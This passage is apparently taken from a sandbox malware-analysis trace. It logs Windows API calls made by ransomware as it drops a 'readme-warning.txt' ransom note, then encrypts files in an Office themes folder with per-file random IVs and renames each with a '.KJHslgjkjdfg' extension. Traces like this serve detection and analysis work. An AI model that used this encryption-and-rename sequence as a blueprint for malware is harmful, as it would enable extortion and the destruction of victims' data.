phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0178.074] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de7d4 | out: pbData=0x9b18c8, pdwDataLen=0x29de7d4) returned 1 [0178.074] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.074] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0178.074] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0178.074] GetProcessHeap () returned 0x990000 [0178.074] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0178.074] wsprintfA (in: param_1=0x29dea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0178.074] wsprintfA (in: param_1=0x29dee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0178.074] GetProcessHeap () returned 0x990000 [0178.074] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0178.074] wsprintfW (in: param_1=0x29dddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\readme-warning.txt") returned 80 [0178.074] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0178.075] WriteFile (in: hFile=0x12c, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29dddf8, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29dddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0178.076] CloseHandle (hObject=0x12c) returned 1 [0178.076] GetProcessHeap () returned 0x990000 [0178.076] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9fd9f0 | out: hHeap=0x990000) returned 1 [0178.076] GetProcessHeap () returned 0x990000 [0178.076] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0178.076] GetProcessHeap () returned 0x990000 [0178.076] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0178.076] GetProcessHeap () returned 0x990000 [0178.076] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0178.076] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0178.077] GetProcessHeap () returned 0x990000 [0178.077] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1eb0 | out: hHeap=0x990000) returned 1 [0178.077] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SKY", cAlternateFileName="")) returned 1 [0178.077] GetProcessHeap () returned 0x990000 [0178.077] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x88) returned 0x9b0940 [0178.077] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0178.078] GetProcessHeap () returned 0x990000 [0178.078] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0178.078] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0178.078] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3a9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0178.078] GetProcessHeap () returned 0x990000 [0178.078] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x28a) returned 0x9b1eb0 [0178.079] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0178.079] GetProcessHeap () returned 0x990000 [0178.079] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0178.079] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0178.079] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0178.079] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x7, lpOverlapped=0x0) returned 1 [0178.081] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.081] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.081] GetProcessHeap () returned 0x990000 [0178.081] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0178.081] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0178.081] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.081] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0178.082] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0178.082] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0178.082] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0178.082] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0178.082] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0178.082] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.082] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.082] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.082] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3a9, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x3a9, lpOverlapped=0x0) returned 1 [0178.082] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x3b0, dwBufLen=0x3b0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x3b0) returned 1 [0178.082] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.082] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3b0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x3b0, lpOverlapped=0x0) returned 1 [0178.083] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.083] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x484, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.083] SetEndOfFile (hFile=0x12c) returned 1 [0178.084] GetProcessHeap () returned 0x990000 [0178.084] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0178.084] GetProcessHeap () returned 0x990000 [0178.084] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0178.084] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif.kjhslgjkjdfg")) returned 1 [0178.085] CloseHandle (hObject=0x12c) returned 1 [0178.085] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25f0ff00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25f0ff00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1413d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SKY.ELM", cAlternateFileName="")) returned 1 [0178.085] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0178.088] GetProcessHeap () returned 0x990000 [0178.088] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0178.088] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0178.088] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0178.089] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x3, lpOverlapped=0x0) returned 1 [0178.091] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.091] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.091] GetProcessHeap () returned 0x990000 [0178.091] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0178.091] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30) returned 1 [0178.091] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.091] WriteFile (in: hFile=0x12c, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29defe8*=0x30, lpOverlapped=0x0) returned 1 [0178.091] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0178.091] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0178.091] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0178.091] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0178.092] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0178.092] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.092] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.092] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.092] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1413d, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x1413d, lpOverlapped=0x0) returned 1 [0178.094] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x14140, dwBufLen=0x14140 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x14140) returned 1 [0178.095] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.095] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x14140, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x14140, lpOverlapped=0x0) returned 1 [0178.095] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.095] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x14204, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.095] SetEndOfFile (hFile=0x12c) returned 1 [0178.099] GetProcessHeap () returned 0x990000 [0178.099] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0178.099] GetProcessHeap () returned 0x990000 [0178.099] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0178.099] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.elm.kjhslgjkjdfg")) returned 1 [0178.109] CloseHandle (hObject=0x12c) returned 1 [0178.109] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1bc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SKY.INF", cAlternateFileName="")) returned 1 [0178.109] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0178.110] GetProcessHeap () returned 0x990000 [0178.110] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0178.110] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0178.110] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0178.110] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0178.112] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.112] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.112] GetProcessHeap () returned 0x990000 [0178.112] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0178.112] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30) returned 1 [0178.112] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.112] WriteFile (in: hFile=0x12c, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29defe8*=0x30, lpOverlapped=0x0) returned 1 [0178.112] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0178.112] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0178.113] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0178.113] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0178.113] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0178.113] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.113] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.113] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.113] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1bc, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x1bc, lpOverlapped=0x0) returned 1 [0178.113] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x1c0, dwBufLen=0x1c0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x1c0) returned 1 [0178.113] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.113] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1c0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x1c0, lpOverlapped=0x0) returned 1 [0178.113] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.113] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x284, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.113] SetEndOfFile (hFile=0x12c) returned 1 [0178.116] GetProcessHeap () returned 0x990000 [0178.116] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0178.116] GetProcessHeap () returned 0x990000 [0178.116] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0178.116] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.inf.kjhslgjkjdfg")) returned 1 [0178.124] CloseHandle (hObject=0x12c) returned 1 [0178.124] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7279, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0178.124] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0178.125] GetProcessHeap () returned 0x990000 [0178.125] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0178.125] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0178.125] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0178.125] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x7, lpOverlapped=0x0) returned 1 [0178.127] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.127] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.127] GetProcessHeap () returned 0x990000 [0178.127] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0178.127] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0178.127] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.127] WriteFile (in: 